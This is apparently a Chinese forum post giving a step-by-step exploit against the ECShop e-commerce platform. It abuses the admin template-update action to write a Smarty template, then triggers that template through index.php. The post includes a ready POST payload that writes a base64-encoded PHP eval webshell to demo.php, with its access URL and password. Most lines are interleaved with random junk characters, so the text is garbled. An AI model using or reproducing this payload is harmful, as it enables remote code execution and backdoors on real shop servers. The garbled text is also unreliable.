首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
, l2 m( V+ y' u+ j7 _! @) K
, i. c% [* Y! k5 |( M4 {而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
0 K4 V: s7 Z6 S h4 p- B但是ecshop似乎不支持{php}{/php}这个标签来执行php代码# C5 A) C0 i, ?8 q8 D( D( V
admin/template.php, F# J. Q" g }, ~- Y( y2 u
2 _% h/ `" Q& q `4 h& o! _* q( q1 if ($_REQUEST['act'] == 'update_library')
8 F8 a2 k4 i" S( D% T% b% W/ q# U+ F
2
5 \% ~5 f+ I' C9 u* P9 t0 }. h5 H
3 U! X; l% {- e! [3 {
7 T9 E; X& y1 F5 a5 z$ g9 Q
; D" l, V+ c/ z2 x- W% M4 check_authz_json('library_manage'); ! j+ X& y. I& P
% H4 Y3 P# O% _1 y$ E, U$ i5 8 U, L }2 K' J8 L# l
) ]0 M- N' ^* h+ y# q" B& o8 k
6 $html = stripslashes(json_str_iconv($_POST['html']));
& M. V! \7 [' `. s$ E0 A5 Y0 ~
2 i( ]' T) s8 ~7 / [1 q, C2 n# E1 \3 z
6 E* q: R& }! Y# c5 ]" K8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
. Y3 }+ B! z7 A* m0 z) n9 P2 A+ m
9
; I8 q& z6 t2 P! t3 ]" y; X3 @0 ?6 |& r; i0 C: g
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
# W* I% V* v5 _' Q/ }9 E* P
" c. }. u( O2 E1 a) w8 T11
, m8 ^. z5 R$ T' b; g/ c) w+ B# ~6 R k+ t
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
4 x0 _) u9 D% z; @6 R
& G: A! |# v. l: J, |: @13
7 Y9 `3 S5 \ k9 S" L( S2 c" i1 q+ w. o7 q9 a1 j1 M2 t
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 1 O0 w/ i% l% Z2 P3 C! _& y W. H* D
3 \2 m9 v; r' y/ r. J0 }, @15 { ' d0 F' b# C2 e" Z
& e) U N* o$ p y) E7 b# W! `
16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); + c' m4 P" f( Q: {' H, a) v( f' y
6 e" ]; j* [+ H, _17 make_json_result('', $_LANG['update_lib_success']); 6 m9 d) B; f# i$ g8 M* F
2 M2 B2 v: b+ Q
18 } $ x- y- b) n; j7 |8 b+ w/ Z2 F
; M3 d; H" {3 {6 e. C$ l7 ^
19 else 5 k/ Y# u4 A. w* Y
* x1 W0 `. c3 [- m" E* R20 {
/ |7 K, e/ D+ Z4 t9 |% ~+ o1 P2 z3 d P/ b: A, r) d$ ^
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
: B9 r; K* x6 X2 Q
$ L- }/ ]2 w }# J: W) |0 t4 d. m22 }
) m8 V' ]7 H# G- ~! g; M% K
9 b- N& D( h# {* ~23 }
* o: [2 w$ j2 D; e9 [/ F* D, j: ]7 s' u
那么找个比较方便调用了模板的文件 J8 o/ j) K! }7 w9 g4 A0 G
index.php
6 f) `# Y {9 c* n4 ]# }/ n z; W4 S. `0 s9 [# T$ w: I
1 if ($act == 'cat_rec')
' `. p# C! c7 ^. x" _
* o$ [: Q+ j1 v" ^# R; h2 $ [0 n' v! F4 F9 l5 [! O" i
) [6 y- v) h. Q6 s* q: e1 L# a; M+ a8 S
3 {
' E$ E( a! [( @
1 v" d* l3 J5 O9 E1 _. l4 9 \, L: K. F+ x0 R
' Y0 G( W' q3 u
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); + g& o% x" Q5 U* G
4 b; n2 `, @% K8 B' U1 @6 2 j" i# K: d8 N, |
6 k! i$ N! {2 R- n: F( {5 P: C0 X6 `7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; . p8 v8 \1 E* O
, Y/ ?- p9 L+ \2 C1 g3 S8 + o. U Z2 \1 N1 Z/ u! n
! ]- i8 K9 U/ k7 w# a7 L* Q
9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; y/ N/ E3 ~/ e
, b! n" Z/ ]2 S# I4 [10 & J$ u8 r! j G8 G) A3 I5 f
& d: S9 b$ _0 L) D& d+ W) T11 include_once('includes/cls_json.php');
8 \* [ q# m9 U/ [* ]9 ^* L: F! V1 r- K* S& A/ i( X) [( S+ D* c2 [
12 & V; }/ {; G) I: g! C4 d
* A( r4 Z' @2 x5 Q6 U$ V$ O& q
13 $json = new JSON;
, k: p# ~# e% Q8 ]- \9 M
4 L& T |* Y7 f( s" O; A14 0 o2 _" g; k% i6 N2 _
+ H3 ^' ]/ ?5 A& Z$ C15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 6 y1 [% }$ Q- ?
$ @4 R' z3 @ \/ W16
?; d0 E$ O9 l( n Z* p6 i2 K/ j- P4 ^. s
17 $children = get_children($cat_id);
# K# I5 d( I) M: e6 f( K4 m9 e9 Q
18
7 V; o- m/ e# R: A: a/ T) r7 m8 g2 A: O9 B9 _ c7 Y
19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 - d4 f4 p R& \6 e3 C# h7 O; _$ E
8 H2 I! Y! ]6 E) @" c* _- E, u6 ?: i20
5 ]/ t' o5 B- Q0 K' S& l2 b! }7 a, l. l: G" o4 ]
21 $smarty->assign('cat_rec_sign', 1); 4 T8 h; H; y& |3 c8 v
, f8 h% z% P* j0 L5 Y3 a) |- B22 5 |1 L7 K% a# L( K( g
6 t' B! s& J( X5 S
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best * p& a7 _+ H+ Z8 V& b
! G/ i# f: T7 d! z7 Z2 v24 * N4 F1 Q) t M; M5 Y4 S
9 w5 C5 L- ~6 ^1 u
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
- j/ U2 l% Q. k2 x. \# r, X4 L
/ c8 O i% q, x: h26
9 ~& I3 E) O* r+ E+ n9 {. E7 p* ^; n9 l, p S: E7 u5 ]! K
27 echo $rec_array[$rec_type];
, O1 h# m3 Q2 a# d6 Y0 L5 u0 u: E k' Q8 n# z
28 & H' E3 i% ]$ P6 y; C. L
3 O. p6 B7 Z; ], |1 ]
29 die($json->encode($result)); $ ?! q9 ^ B0 i* a6 ~
6 q) Q* b# f" g# ~; @4 @
30
$ J- A" e! x* W" s8 a
" g1 N* B: D- z# Y0 f6 p31 }
! w, ? o7 R! n/ M( ]6 T
3 K, j; V* c' w那么就有利用方法了& Y/ _. f; d8 r* c+ E0 \; o
post包到http://localhost/ec/admin/template.php?act=update_library, y' z& U4 P# }- [ o
Post内容:! d7 U- m1 I% I3 y! n
1 L! ?1 ^8 H* n' J+ v3 ]; u; |7 O/ w
; y; p+ p- C7 o; ?- L3 L c$ K1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
& ^' X8 M! c2 V) f7 h* K- j* p
' ?0 O, [2 p$ m( g然后访问http://localhost/ec/index.php?act=cat_rec
" y7 M G o K3 C) |. t5 u* z1 l& _; y; p# O4 m; V4 N
shel地址:http://localhost/ec/demo.php
! [3 K, G: L) W/ I! k$ b* `# U! H密码c
' A/ X( ]6 r A6 \. g; t7 C6 T! T# Q1 H& Q0 X$ {* V
|